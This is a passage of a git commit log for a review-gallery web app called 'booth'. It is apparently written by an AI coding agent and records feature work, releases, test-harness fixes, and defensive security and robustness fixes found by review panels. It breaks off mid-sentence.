Four rulings with the operator on booth-flow-concepts. design-dev asked for an
invariant-6 check before building, which is the right order and worth recording
as the pattern.

His ordinals rule is an improvement on invariant 6 rather than compliance with
it: an ordinal counting across all items makes a positional reference stable
under filters, where today 'the third one' silently means something different
the moment a filter is on. Nothing on our side had noticed.

Two corrections returned. Flag 'set order' is already (created, id) — set_flag
upserts and unflag removes the entry, so created IS the set time; what he
actually needs is the tie-break, not a new field. And 'last activity' must reuse
_newest_mtime, whose .lock exclusion was paid for: counting our own lock
sidecars made reading through a write path look like activity.
 2026-09-23 07:20:28 -07:00
vh 6ba5a83f81 docs: the operator moved the design ownership boundary, and the fence was ours 
Round 1 ruled not-as-shown: 'He didn't go far enough, still looks like the
booth. I want him to consider the flow and the requirements — design touches,
layout, usability all belong to him.'

The handoff paragraph that said we were not asking for layout changes driven by
information architecture is void. design-dev's 'class additions only, no
reordering' was that constraint honoured, so the ruling corrects our brief
rather than his round — worth recording that way round, because the next session
reading only the artifact would read it as a design failure.

Flow, layout, usability and the requirements are his now; the IA is no longer
fenced off. What survives is split in two on purpose: correctness invariants
that are not design opinions, and engineering defaults we chose that he may now
argue with, where a dispute goes to the operator rather than being settled
between agents.
 2026-09-23 07:11:53 -07:00
vh dfd806aa9f docs(booth.html): name the .rail cross-file contract at the selector that depends on it 
The SVOS retheme makes .rail load-bearing in two files owned by two different
agents: this template's grid-cursor start, and base.html's --rail-h measuring
script that publishes the rail's height for scroll-margin-top (the rail wraps,
so no CSS number can know it).

Neither breaks loudly if it is renamed. Ours starts the cursor one tile too
high; theirs falls back to a fixed guess. design-dev's sheet carries the mirror
of this note above the .rail rule, so the coupling is documented from both ends
rather than from whichever side happened to notice.
 2026-09-23 06:57:32 -07:00
vh 06d83dfd2f memory: the staged design-dev ref moves — read it, do not trust a SHA written here 
He rebases onto our main and rewrites the ref in place; it has already gone
878ed86 -> a99b7bb. Merging a SHA copied out of the memory file would merge a
pre-rebase branch that predates both his scroll-margin fix and our bug-hunt
batch.

Third instance of one class today: a 'PUSHED' row that was stale when written, a
postbox send-note promoted into durable memory, and now a moving ref recorded by
SHA. The file records what was true when written; anything that moves needs a
command, not a value.

vh 1826d19a1f memory: the bug-hunt panel, the raw-first fragment trap, and five vacuous falsifiers 
The mechanic worth keeping: browsers match a URL fragment against element ids
RAW first and percent-decoded only second, so a raw rel on both the anchor and
the id is ambiguous rather than merely unencoded — and encoding one side only
relocates the collision.

The count worth keeping: five falsifiers in one unit were green under the exact
change they forbade, three arms finding the same one independently. A
guard-strength pass is the highest-value part of a panel on a diff that is
already well tested, because the findings sit in the gaps the comments are most
confident about.
 2026-09-23 00:06:26 -07:00
vh 397ea89795 fix(u7): six defects from the heid bug-hunt panel, and five vacuous falsifiers 
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread
01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in
this repo could have caught, and the panel's guard-strength passes found five of
my own falsifiers green under the exact change they forbade.

THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact.
The anchor was the raw rel spliced into an href fragment while the tile id was
equally raw. A browser matches a fragment against ids RAW FIRST and only then
percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS:
with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the
fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is
the misfiled-judgment failure invariant 6 exists to prevent, arriving through a
path invariant 6 never looked at. Both sides now use `Item.url`
(`quote(rel, safe="/")`), which is injective here and is the convention
booth_flag has always used. The original test asserted the href occurred as SOME
id on the page — true while pointing at the wrong one.

GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back.
The rail was gated on the FILTERED list, so a valid filter with no matches
removed the rail, the filter links and the route back to `all`, while the
empty-booth branch announced the booth was empty with rail.total still holding
the real count. No recovery without editing the address bar, and it degraded the
same way with JavaScript off, on the surface the operator actually reviews on.
Gated on all_items now, with an explicit no-match row.

HULDA — one unrepresentable filename took out the INDEX, not just its booth.
A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it,
outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in
one booth's filename 500s every booth's card. Such a file cannot be linked,
served or zipped, so it is skipped like a dotfile.

HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which
nothing in this repo emits, so it fell through to the hidden target input;
clicking a hidden input does not submit its form, and the handler called
preventDefault anyway. Now clicks the flag form's real button, verified end to
end in a real browser.

GRÓA — a group jump was undone by the next keypress. The jump scrolls, the
cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The
cursor now picks up from the viewport, which also fixes the general
scroll-then-arrow case. Asserted on real scroll geometry in Chromium.

HULDA — the caption sidecar was read whole before being truncated, so a
pathological file was a MemoryError the OSError handler does not catch. Bounded
at the read, and deliberately NOT by st_size: a FIFO reports 0.

ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail
row count (1,000 groups of two would render 1,000 rows; the largest live booth
is 66 items and picking a cap without a booth that needs one is invented work),
and Item.group sits mid-dataclass (one construction site, keyword-only, grepped).
The docstring now names the UPPER median explicitly — two arms flagged that
"the middle group" admits both readings for an even count.

FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test
survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group
count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits;
and the escaping test asserted over the whole page, so it went red on a code
comment. All rewritten, all mutation-proved. The table is up to 20 rows and one
drifted when I changed the line under it — reported by the harness, not silently
skipped, which is the behaviour tests/test_mutation_check.py exists to hold.

660 green; 20/20 proved. Deployed; 21/21 booths 200.

Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no
scroll-margin, so a fragment jump tucks the target under it. It is one line in
base.html, the file he is rewriting from scratch.
 2026-09-23 00:04:59 -07:00
vh 6042d10bf3 memory: the SVOS concept round is with the operator, and a latent CSS defect it surfaced 
Three rulings open on booth-svos-retheme (ship / voice / emblem). The branch is
an inert ref; merge is gated on the rulings. Verified independently: nothing
checked out, main clean, merge-tree clean, merged tree 649 green.

The fixup hold is now partial — booth.html is released because design-dev does
not touch it, so bug-hunt findings there land immediately.

And a real one he caught on our side: base.html reads four CSS custom properties
and defines none of them, 15 uses without a fallback. An undefined var makes the
whole declaration invalid at computed-value time, so those buttons have had no
border at all and a transparent background — not merely default colours. The U7
rail reads the same names with fallbacks, which is why the rail looked
deliberate and the buttons under it never did. Assigned to his rewrite; fixing
it on main would collide with the one file he is rewriting.
 2026-09-22 22:18:56 -07:00
vh 33e7149e24 fix(scripts): the mutation harness must not churn source mtimes 
It rewrites a tracked file and restores it byte-for-byte — but the restore
bumped the mtime, and in this repo that is not cosmetic. The repo IS the
deployment root and nothing takes effect until the service restarts, so 'is
:8090 stale?' is answered by comparing the service's start time against source
mtimes. A tool that moves those without changing a byte makes that check lie:
it reported the live service 16 minutes stale while it was serving current code.

Restores atime/mtime with os.utime, with a test whose defeating change is
dropping that line. Found by using the staleness check for real, not by review.

649 green; 12/12 U7 falsifiers still proved.
 2026-09-22 22:01:35 -07:00
vh c47b3dba7e memory: pushed v1.0.0b1, and a 'PUSHED' row that was stale when written 
main and the annotated v1.0.0b1 tag are on origin; ahead 0, behind 0.

The push carried SIX commits, not the five this session produced: 2f85692 from
the previous session was still unpushed while the memory row above it said
PUSHED. A push is a point in time and this file is not, so the row now says to
run git rev-list rather than to believe it — the same class of error as
promoting a postbox send note into durable memory, twice in one day.
 2026-09-22 21:58:46 -07:00
vh 2f6a0ee821 test: keep the mutation harness — scripts/mutation_check.py, with its own controls 
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into
a repo tool, on the operator's call. No version bump: test tooling and docs, no
production-code change, per the SemVer SKIP list.

A green test is not evidence. A test that has never seen its own defeating
change may pass under it too, forbidding nothing while reading as though it
forbids something. This repo shipped that three times — twice in one session,
and once an hour after writing the persistent-memory entry about it. Prose in a
memory file is not an instrument.

Tables live in tests/mutations/*.toml, one per unit, committed so a unit's
proofs are an artifact rather than terminal scrollback. Adding a unit means
adding a file, never editing the script. u7_navigation.toml was generated from
the harness that proved those twelve, not retyped, and every anchor was verified
against the source before it landed.

THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It
shipped two defects in one session, each of which made it report a falsifier
PROVED WITHOUT RUNNING IT, and both were found by accident rather than by
anything checking:

  no green baseline — a test that is ALREADY red reports red for every mutation
  thrown at it, so a broken assertion reads as a certified falsifier

  the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython
  validates a .pyc against the source's (mtime, size) at one-second granularity,
  so a mutation landing in the same second as the revert before it runs against
  cached bytecode; the tell was a verdict flipping between consecutive identical
  runs

tests/test_mutation_check.py now carries a control for each, plus the one
usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument
that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind",
and twelve `proved` lines from a blind instrument are worth nothing.

Also hardens the tool against itself: it writes to tracked source files, so the
restore is verified rather than assumed, and a .mutation-inflight marker makes a
run killed mid-mutation refuse the next start instead of silently measuring a
mutated tree.

648 tests green; 12/12 U7 falsifiers still proved.
 2026-09-22 21:58:12 -07:00
vh 82ac7c44e4 docs: design-dev accepted the SVOS retrofit — the /vor-ui brief is declined, and why 
The ROADMAP row requiring a /vor-ui brief predates the IA doc. With that doc,
the landed templates and the seven handoff constraints, a /vor-ui pass would
have cost the operator a serial Q&A to re-derive IA already measured. design-dev
made that argument and it is better than the row it overrides.

Also settles: we merge and restart; he works against a copy, never :8090; the
concept round goes to the operator; webfonts by CDN link with display=swap,
because the CDN-free property turned out to be accreted rather than an
invariant (checked CLAUDE.md, the non-goals and the IA doc).

Corrects a memory defect in the same commit: a postbox send note is a
point-in-time snapshot and one was promoted into persistent memory as a durable
fact about a handle's delivery mode. It was wrong within the hour.
 2026-09-22 21:51:35 -07:00
vh 8a18dd13ab memory: snapshot — v1.0.0b1 cut, the version that was two copies, and the design-dev handoff 2026-09-22 21:41:56 -07:00
vh 3126deca00 chore(release): 1.0.0b1 — the v1 target, staged as a beta 
All seven v1 capabilities are landed (ROADMAP's v1 target is met), so this is
the first release of the 1.x train. Staged as a beta rather than cut final on
the operator's call: per the canonical policy `-beta.N` means feature-complete,
external testing, no new features, focus is on bugs — which is exactly this
state, with a cross-frontier bug-hunt panel outstanding on U7's diff.

The repo learned this sequencing the hard way once: v0.2.0 was tagged and
announced while a contract panel was in flight, the panel found three defects in
the code just released, and v0.2.1 shipped within the hour. A beta is the
designed answer to that, not a workaround for it.

ALSO FIXES A SECOND COPY OF THE VERSION, found while cutting this one.
`booth.__version__` was the literal `0.1.0` and had been wrong through six
releases. It is now read from pyproject.toml — deliberately NOT from
importlib.metadata, which describes a different artifact: this repo has no build
step and no install step (booth.service runs uvicorn with WorkingDirectory set
to the tree), and the venv was carrying a vestigial booth-0.3.0.dist-info with
no package directory behind it. Installed metadata therefore reported 0.3.0 for
a tree at 1.0.0b1 — confidently wrong and varying by environment, which is worse
than a literal that at least fails the same way everywhere.

booth/__init__.py is also, it turns out, effectively stdlib-only: scripts/booth
imports booth.links / booth.marks / booth.manifest under the system python3 with
no venv, and every one of those executes the package root first. Nothing
asserted it. test_stdlib_only now covers __init__, and the no-venv import path
is verified under python3.11 reporting 1.0.0b1.

642 tests green.

vh bf351a26d1 feat(u7): filename groups — the last v1 unit, and a table that did not reproduce 
Completes U7 with its fourth component: a jump-to-group rail derived from
filename prefixes, replacing the subfolder sections ROADMAP named. The scope
departure was ratified by the operator 2026-09-22; this commit deletes
test_no_group_rail_is_shipped_yet, the guard that held it back, in the same
change that builds what it guarded against.

All seven v1 capabilities are now landed. The 1.0 cut is a decision, not a
dependency, and it is the operator's — no version bump here, because a commit
is not a release.

THE RULE CHANGED AT IMPLEMENTATION, ON MEASURED GROUNDS. The contract specified
`strip ONE trailing run of digits`; run against the live set that yields 24
groups for sindra-bakeoff's 40 images and 27 for sindra's 30 — a rail with a row
per tile — because it keys on the END of the stem, where the instance number
lives. The contract's own table claimed 5 and 1 for those two booths and neither
reproduces; the numbers are reachable only by two OTHER heuristics, so the table
that justified the design was assembled from more than one rule. Its own worked
example contradicts it in plain sight.

The shipped rule keys on the first separator-delimited segment, where the family
lives, destemming only when the stem has no separator at all — so `ac01` -> `ac`
while `v30-seed8302` and `v35-seed8302` stay apart. Re-measured across all 17
live booths; the table is in the contract.

INV-3 GAINED ITS SECOND DEGENERACY. The contract guarded one group for
everything (sc-iso-spread: DSC0001-DSC0006). The live set's actual failure is
the opposite — pewpew-ui-brief yields 23 groups for 34 items, dfa-concepts 13
for 20 — and the contract as written would have shipped a rail that is a second
copy of the grid. The rail now renders only when grouping is informative: two or
more groups, and the middle group holding more than one item. That predicate
gets all 17 booths right.

Grouping is a VIEW. The grid stays sorted(rel) and the zoom ring stays that
order filtered to images; the group fixture interleaves across subdirectories
precisely so a (group, rel) re-sort goes red. Groups are derived from the
RENDERED list, not the full gallery, so no anchor points at a filtered-out tile.

booth/items.py       _group_of + Item.group, derived in the resolver (INV-1)
booth/app.py         _groups() builds the rail rows; build_gallery carries it
booth/templates/     the rail-groups nav and its CSS
tests/               +16 tests; 639 green

Every new falsifier was proved by running its defeating change (12/12). Three
were vacuous first time out: one fixture's positional order happened to be
alphabetical, one assertion miscounted elements, and the harness itself
certified a broken test twice — no green baseline, and byte-identical mutations
silently defeated by the pyc cache's one-second mtime granularity.

vh 2f85692e95 memory: a standing no-announcements ruling — the send is the operator's, not the agent's to ask about 2026-09-22 21:05:46 -07:00
vh 6938d21085 memory: the operator ruled on all five — U7's departure approved, main pushed 
"accept all recs, or make good ones." Four of five executed.

APPROVED: drop subfolder sections for filename-prefix groups. The U7 contract
moves to APPROVED and ROADMAP's U7 row and deterministic-order table are
rewritten -- groups order by the position of their first member in sorted(rel).

SETTLED: `unanswered` means has-an-open-pick, the reading that shipped. The
has-no-mark-at-all reading is a different question and is parked to v1.1 rather
than left pending.

PUSHED: main and both release tags reached origin -- the first time this repo's
U6 work has existed anywhere but this box. Recorded because --follow-tags
carried neither tag: both are LIGHTWEIGHT per the SemVer policy and that flag
only follows annotated ones, so a lightweight release tag needs its own push.

NOT SENT: the 17-handle note was blocked by the auto-mode classifier because a
multi-recipient send is gated on explicit operator approval. The blanket ruling
ratifies the note's content, not that specific approval, and the gate held
correctly. Drafted in full with its recipient list at
docs/pending/fleet-note-booth-link-refusal.md so it survives a context clear.
Not worked around.

NOT SEEDED: "no seeding yet" was a specific prior instruction rather than a
recommendation of this session's, so the blanket acceptance does not overwrite
it.

⚠ The approval leaves a trap: test_no_group_rail_is_shipped_yet exists to stop
an UNAPPROVED group rail, and the rail is now approved. It has inverted and
must be deleted by whoever builds the rail, or it blocks correct work while
reading like a real invariant. Named in the handoff's first step for that
reason.
 2026-09-22 19:49:39 -07:00
vh 8bf5343049 memory: snapshot — U7 three-quarters built, blocked on one ruling 
U6 shipped as v0.6.0 and a late fix as v0.6.1; U7's three ratified components
(rail, filters, grid keyboard) are landed and the fourth is deliberately not,
because swapping subfolder sections for filename-derived groups is a scope
departure the operator has not ruled on. A test fails if anyone builds it
anyway.

Two new detail files. One decomposes U7 by ratified-versus-not and records the
two decisions taken under stated assumption. The other keeps the mechanism
behind today's misrouted directive: pane_find addresses seats by a ROLLING PANE
TITLE, which is not a stable address, and the failure is silent from the
sender's side -- Miranda had no signal until infra-ops flagged it. The incident
resolved; the mechanism did not.

The generated handoff committed the modality failure its own step-7 read exists
to catch: it listed push, seed and the 17-handle note as imperative Next steps
when all three are explicitly gated. Rewritten as do-nots, Next steps emptied.
Recorded here because it is the second time the generator has needed that
backstop.
 2026-09-22 17:38:40 -07:00
vh a306e2dc6d feat(u7): the rail, the filters and the grid keyboard — the ratified three 
ROADMAP's U7 row names four components. Three of them -- a sticky rail,
filters, and grid keyboard -- are already ratified there and are implemented
here. The fourth, replacing directory sections with filename-derived groups, is
a scope DEPARTURE the operator has not ruled on and is deliberately not built;
test_no_group_rail_is_shipped_yet fails the moment somebody builds it anyway,
so it cannot arrive by accident while he is away.

Filters are links carrying a query parameter, resolved server-side, so the
gallery keeps working with JavaScript off -- U3 already cost the verbatim path
its no-JS operation and said so, and the gallery is the surface the operator
actually reviews on. An unknown filter falls back to `all` rather than indexing
a dict by a value that arrives from an operator-editable URL.

`unanswered` means HAS AN OPEN PICK, the U4 hold predicate that already exists.
The other reading is a real and different question and stays open on the
contract rather than being guessed at.

Filtering is a VIEW and never reorders. The grid renders `sorted(rel)` with
non-matching items removed, so "the third one" means the same thing with a
filter on as with it off, and the zoom ring is untouched by any filter -- a
ring that changed with the grid would make `next` depend on how the operator
arrived, which is the misfiled-judgment failure invariant 6 exists for.

⚠ The first version of that invariant's test was VACUOUS and the mutation run
caught it: it compared each filtered view against the unfiltered RESPONSE, so a
reversing mutation reversed both sides and it stayed green under the exact
change it forbade. Rewritten against an independent truth -- U1 INV-3 says the
order IS sorted(rel) -- and re-verified RED. Written an hour after the entry
describing this exact failure class, which is worth recording.

611 -> 623 tests.
 2026-09-22 14:45:57 -07:00
vh b50f41bb36 docs(u7): a PROPOSED contract for the last unit — scope departs from ROADMAP on measured grounds 
Not approved and not implemented. Frontmatter status says so, the body says so
twice, and the one scope-direction call in it is named as the operator's.

ROADMAP's U7 row is sections, rail, filters, grid keyboard. The measurement
recorded in persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md
kills the first component -- zero of eleven gallery booths have a subdirectory,
and the only two booths that do are reports -- and supplies a replacement:
stripping a trailing digit-run from the filename stem yields 5 to 16 sensible
groups on four of the five large galleries.

The degenerate fifth is carried as a first-class case rather than an edge: one
group must render NO rail, because a navigation affordance that cannot navigate
is worse than none.

Closes ROADMAP's outstanding U7 ordering question: groups order by the position
of their first member in sorted(rel), so the rail reads in the same direction
as the grid. Grouping and filtering are views and never reorder -- INV-2 exists
because sorting by (group, rel) looks right and silently changes what 'the
third one' means, which is the misfiled-judgment failure invariant 6 was
written for.

Blast radius checked before writing: Item gains one field beside the existing
section, build_gallery carries it, and image_chain is explicitly unchanged.
 2026-09-22 14:40:37 -07:00
vh e15ee2c4ab memory: U7 re-measured before scoping — pre-work only, no unit started 
The standing instruction is to re-count the booths before scoping U7. Done
against the live 19-booth set, so the scope call is a short read rather than an
investigation.

Two findings. Sections are worth zero and it is now measured twice: not one of
the eleven gallery booths has a subdirectory, and the only two booths that do
are both reports, the job where grid navigation matters least. And the grouping
signal is in the filename rather than the tree -- stripping a trailing digit-run
yields 5 to 16 sensible groups on four of the five large galleries and
degenerates to one group on the fifth, while the competing split-on-second-
hyphen heuristic is useless everywhere.

The sizing case has also moved: the unit was scoped against 270-item booths and
the largest gallery is now 81 items / 40 images.

No U7 code and no U7 contract. The scope direction is the operator's call.

vh 400e254da6 memory: reconcile the snapshot to v0.6.1 
The snapshot was written at v0.6.0 and the marks-guard fix landed after it.
Updates the in-flight head commit, the test count, and the ahead-of-origin
count so a fresh session is not told a stale number.
 2026-09-22 14:35:53 -07:00
vh 1b394dde18 chore(release): v0.6.1 — the wrong-shaped answer no longer 500s 
Patch, agent discretion. Bundles the pre-existing render-time 500 on the
gallery and marks pages, closed at the hydration boundary, plus the
`_safe_fragments` handler that could not survive the failure it was handling.

611 tests.
 2026-09-22 14:35:28 -07:00
vh e702be4e1a fix: a wrong-shaped answer no longer 500s the gallery and the marks page 
Pre-existing, measured at 42ea67f, so it predates U3. `_hydrate` checked only
that `answer` was a dict and never that `answer["answers"]` was one, so
`marks_for` and `hold_read` both reported the mark healthy with no read error
-- and `_ask_inline.html` then asked a list for `.get`. The v0.2.2 lesson was
half-implemented: that outage was a file that could not be PARSED and the
reader was made lenient, while this one parses perfectly and breaks one layer
further in, at render, where no leniency existed.

Closed at the hydration boundary rather than by a third copy of the guard --
one predicate, one place, every surface inherits it. Only the multi case is
checked, because only the multi case indexes; requiring `answers`
unconditionally would break every single-question pick, and that direction has
its own test. Measured before and after: gallery and marks pages 500 -> 200,
the error visible on the page, the booth's other healthy pick untouched.

The placement was the one open operator question of the session. It was
surfaced three times without a ruling, so it is taken under a stated assumption
and is cheap to move: the whole fix is one condition in one function.

Two things fell out of it worth more than the fix.

`_safe_fragments` no longer has a reachable natural trigger. Probed every wrong
answer shape a .marks.json can carry: `answers` as a list, a string or null all
become hydration errors now, and a wrong-typed value INSIDE `answers` renders
without raising, because Jinja absorbs attribute access on a non-mapping. U3's
guard is a pure backstop, and its test now says so and trips it synthetically
through the shared macro module rather than asserting a path nothing reaches.
A guard tested by an unreachable input is an untested guard.

And that guard's handler could not survive the failure it was handling: it
caught a raising `_pick_fragments` and rebuilt the broken-ask box through the
SAME macro module that had just raised, so whenever `whole` was the broken
thing it re-raised and took the whole report. Found by accident while building
the falsifier. Fixed, with its own test.

Both new falsifiers were verified RED against their defeating change rather
than assumed.

607 -> 611 tests.

vh c5ac49356f memory: snapshot — U6 released at v0.6.0, six of seven v1 units landed 
Nothing in flight. The in-flight section is rewritten to the post-release
state and carries the five things a fresh session must not do: push (main is 8
ahead of origin/main), seed the registry, send the 17-handle note, run either
dated prediction early, or start U7 without re-counting the booths first.

Two new detail files: the release itself, and what each of the five review
passes could only see alone -- the strongest evidence this repo has for running
all of them rather than picking one. The earlier U6 entry is reconciled; it was
written while the gates were still out and said NOT TAGGED.

Restored in the rewrite: the warning that the 17 handles were never told `keep`
stopped meaning "waiting on an answer", which is load-bearing for how the
2026-10-06 re-count reads, and the fact that a remote now exists.
 2026-09-22 14:24:12 -07:00
vh 3296a868fa chore(release): v0.6.0 — U6, benches 
The sixth of seven v1 units. A bench is a running thing, registered: identity
is the normalized URL so re-posting updates the row instead of appending a
fifth, `booth link` refuses the one shape that now has a better home, and the
board marks the rows whose booths are gone without deleting a single one.

Minor rather than patch, approved by the operator. Two capabilities arrived and
one verb changed behaviour for seventeen agent handles, which is the
push-notification bar in the tier test: `booth bench` is new, the board gained
a dead marker, and `booth link` now refuses a booth URL and a credentialed one.

444 -> 607 tests across the unit and its three cold gates. All four review
gates closed: an in-session seam review (three real contract defects, including
one that would have 404'd the whole board page), an in-session adversarial pass
(four defects, one of them this repo's own FIFO lesson recurring in a new
file), and three cold cross-frontier panels -- contract paraphrase, code-vs-
contract, and a diff-scoped bug hunt -- folded in full with exactly one finding
declined and its reasoning recorded.

Measured before contracted, and the measurement changed the unit: the design
doc's headline 69% rot was two defects wearing one number, and U5 had already
closed the larger half. Identity is the FULL normalized URL rather than the
origin because origin identity merges eight distinct gitea repositories, three
unrelated model cards, and the two LRPG surfaces the design doc itself names as
an example of two real benches.
 2026-09-22 14:21:23 -07:00
vh 8cb21193dc fix(u6): fold the cold bug-hunt panel — a div in a span, a symlink split, and an append outside its lock 
/heid-bug-hunt panel 01M35CRRK2RTVWWF1BN09AFQG3, diff-scoped against 91fd8bc.
The most severe of the three rounds, and three of its four convergent findings
were already closed by our own adversarial pass before the reply landed. Three
were not.

- The benches panel was nested inside the booth header's <span class="sub">.
  The insertion had matched the first `{% if board %}` in the template rather
  than the block-level one. A div inside a span is invalid HTML: the parser
  closes the span implicitly and hoists the div out, orphaning the rest of the
  sub-line. Nothing 500s, which is precisely why no test in this suite could
  see it. Moved to block level, pinned by an offset assertion, and verified
  with a real HTML parser.

- _booth_exists used a bare is_dir() while resolve_booth resolves and requires
  the parent to BE the data root. They disagreed on a symlink: the marker
  called a booth pointing outside the root alive while the page 404s it, so the
  row rendered healthy and the link was dead. Same containment now, and
  ValueError joins OSError in the guard -- one bad row must never cost the
  other 220.

- The board append opened its fd OUTSIDE the lock. `flock LOCK printf ... >>
  board` reads as locked and is not: the shell opens the append fd while
  parsing, before flock acquires. A concurrent unlink replaces the inode via
  os.replace, the old fd still points at the unlinked one, and the append
  succeeds, reports success, and vanishes. Pre-existing rather than this
  unit's, but it is silent data loss in the file this unit lives in. Proved by
  holding the lock and asserting nothing is written.

- The atomic write used a predictable .tmp.<pid> name; a pre-planted symlink
  there redirects the write straight through the replace. mkstemp with O_EXCL
  in the same directory, and an fsync before the replace -- os.replace orders
  the rename, not the data behind it.

Declined and recorded: on a host where booth.links cannot be imported, `booth
link` now refuses every URL rather than only booth ones. True, and kept. A
guard that fails open is not a guard, and that state is a broken install in
which most of the CLI is equally broken.

The sharpest line in the reply is one three arms found independently: this repo
had ALREADY paid for the RecursionError class in marks.py, and the new module
re-introduced the unguarded parse. Reading the new module in isolation would
never have surfaced that.

604 -> 607 tests.
 2026-09-22 14:20:06 -07:00
vh e3853e2692 docs(u6): the CLI usage strings carry the --apply <id> form 
The three places scripts/booth documents itself -- the header block and both
usage lines -- still described a bare --apply, which is now refused. A usage
string that names a form the script rejects is worse than none.
 2026-09-22 14:13:41 -07:00
vh 32e3ed65e1 fix(u6): fold the cold contract panel — the import selection gap, and a document arguing with itself 
/heid-contract-review panel 01M35BWCJ806MT75NA630Y4WFH. The headline arrived
from all four arms independently and it is a missing feature, not a wording
problem.

`bench import --apply` registered every candidate, while the same contract says
roughly 14 of 35 are reference bookmarks that must stay on the board. There was
no selection mechanism between the dry-run report and the write -- so the write
path did the exact thing this unit's rationale calls impossible, tell a bench
from a bookmark by its URL, silently, to rows that belong where they are. The
report existed precisely because the decision is not mechanizable. `--apply`
now takes the ids the operator names; a bare `--apply` is refused and an
unknown id is refused, both writing nothing.

Two solo findings, both real:

- A successful registration could push the registry past the size its own
  reader refuses, so the LAST bench added would make every other bench
  invisible while reporting success. The writer now respects the reader's cap.
- The credential ban covered bench URLs and not `booth link`, the door this
  unit did not touch -- and the board renders on an unauthenticated LAN
  surface. A password can no longer reach it through either door. A small
  deliberate widening, named rather than smuggled.

Cap semantics were readable three ways (refuse / clip-for-display /
truncate-and-store) with a different build behind each, 4-of-4. Now stated per
field: name and owner truncate, url and state are refused at the write and are
DAMAGE at the read. url is not a display budget -- INV-7 promises the click
goes to the posted address byte for byte, and a clipped URL keeps that promise
in the type system while breaking it in the browser. The code had been clipping
it; fixed.

Two passages disagreed about one character: INV-7's specimen named "a trailing
slash on a non-empty path" as something normalization changes, while the rule
list keeps it and INV-6 makes the two spellings two benches. The rule list is
right; the specimen was wrong. Found by 3-of-4.

Also: INV-6's component list was illustrative where it had to be exhaustive and
was short scheme and port; "writes nothing" appeared twice with different
lists; the dead marker's predicate was readable two ways with 221 rows riding
on it; and INV-2's falsifier read as though three callers agreeing pinned
something, when three callers of one wrong predicate agree perfectly -- the
table's expected values are the real check and now say so.

597 -> 604 tests.
 2026-09-22 14:12:36 -07:00
vh 8a7af3eb08 fix(u6): fold the cold code-review panel — four-arm convergence on three surface clauses 
/heid-code-review panel 01M35CK8YKEKMV7T15JXEF6A8N, verdict NOT drift-zero.
Three findings arrived from all four arms independently, and they share a
shape: a contract clause written as prose and never converted into an
assertion. That is the lens working.

- The panel dropped the added date the contract promised to show.
- `bench ls` printed no ids, and the URL it printed was truncated to 52 columns
  so the line was not pasteable into `bench state|rm`. The test's docstring
  claimed it printed ids and asserted nothing of the kind.
- `bench import` printed the description instead of the raw URL beside each
  normalized id, hiding the collapse the clause exists to expose.
- An IPv6 literal lost its brackets: http://[::1]:8080/a normalized to
  http://::1:8080/a, a broken identity that no re-post can match. Bracketed
  literals are re-wrapped; an unbracketed one is refused rather than guessed.
- A deeply-nested JSON RecursionError escaped read_benches' except pair. The
  byte cap does not help -- 200k open brackets is 200 KB.
- An empty board hid the whole benches panel, registration form included.
- The link refusal classified by captured-text emptiness, which bash can erase;
  it now answers with a B:/N sentinel so no name reads as "not a booth".

INV-4's tie-break falsifier could not fail: _write_all serializes with
sort_keys=True, so both insertion orders came back already id-sorted and
removing the tie-break left the test green. It now calls order_benches
directly. Same class as the five vacuous U4 falsifiers, found by a cold reader
rather than by us.

Also from the arms' per-invariant vacuity pass: INV-6 had no vector pinning a
non-default port as part of the identity; INV-3 asserted only that links/ was
absent; INV-8's hashed sequence omitted a read verb; INV-9's AST walk is
defeated by a string import. All closed.

Contract amended where the code was right: `updated` means last mutation, the
id cap is write-only because the id is the locator controls post back, INV-8's
file list includes the lock sidecar it always mandated. Every line number is
out of the prose -- the panel found two already stale.

565 -> 593 tests. Nothing declined.
 2026-09-22 13:50:40 -07:00
vh 0a2bb1d26c fix(u6): the booth check fails closed with a reason, and a dead write leaves no scratch 
Two more from the in-session adversarial pass.

`booth link`'s new booth-URL check shells out to booth/links.py. When that
import cannot run, the command substitution under `set -e` aborted the script
with a bare ModuleNotFoundError traceback: the right DIRECTION (no row was
appended — a guard that fails open is not a guard) reached by accident, and
unactionable when it fires. Handled explicitly now: exit 3, and a message
naming what the check needs. The fail-closed direction is stated rather than
inherited from shell semantics, and a test pins it — the defeating change in
either direction goes red.

_write_all's scratch file was stranded beside the registry if the write died
between create and replace. Cleaned up on every exit path. The prior registry
was never at risk either way: os.replace is the only thing that publishes.

Also pins normalization idempotence, which `bench state <id|url>` and
`bench rm <id|url>` both rely on: they normalize whatever they are handed, so
an id that did not normalize to itself would miss the row it names.
 2026-09-22 13:33:59 -07:00
vh 8c7f2127eb fix(u6): a FIFO at the registry path hung the render, and unquote leaked control characters 
Both found by the in-session adversarial pass while the cold panels were still
out. The first is this repo's own 2026-09-22 lesson recurring in a new file.

_read_bytes bounded the READ and its docstring claimed that closed the
named-pipe hole. It does not: open() blocks on a FIFO with no writer, before
any byte cap can apply. read_benches runs on the board page's render path, so
one FIFO there is a request that never returns and, with enough hits, the
threadpool behind every route. Guarded with S_ISREG before the open, which is
what marks.py has done since it learned the same thing. The bounded read stays
for the case a stat cannot answer: a regular file that grew between the two.

booth_target handed back whatever unquote produced, including NUL and newline.
Neither can name a directory, and unfiltered they reach is_dir() -- which
raises ValueError on an embedded NUL, and ValueError is not an OSError, so it
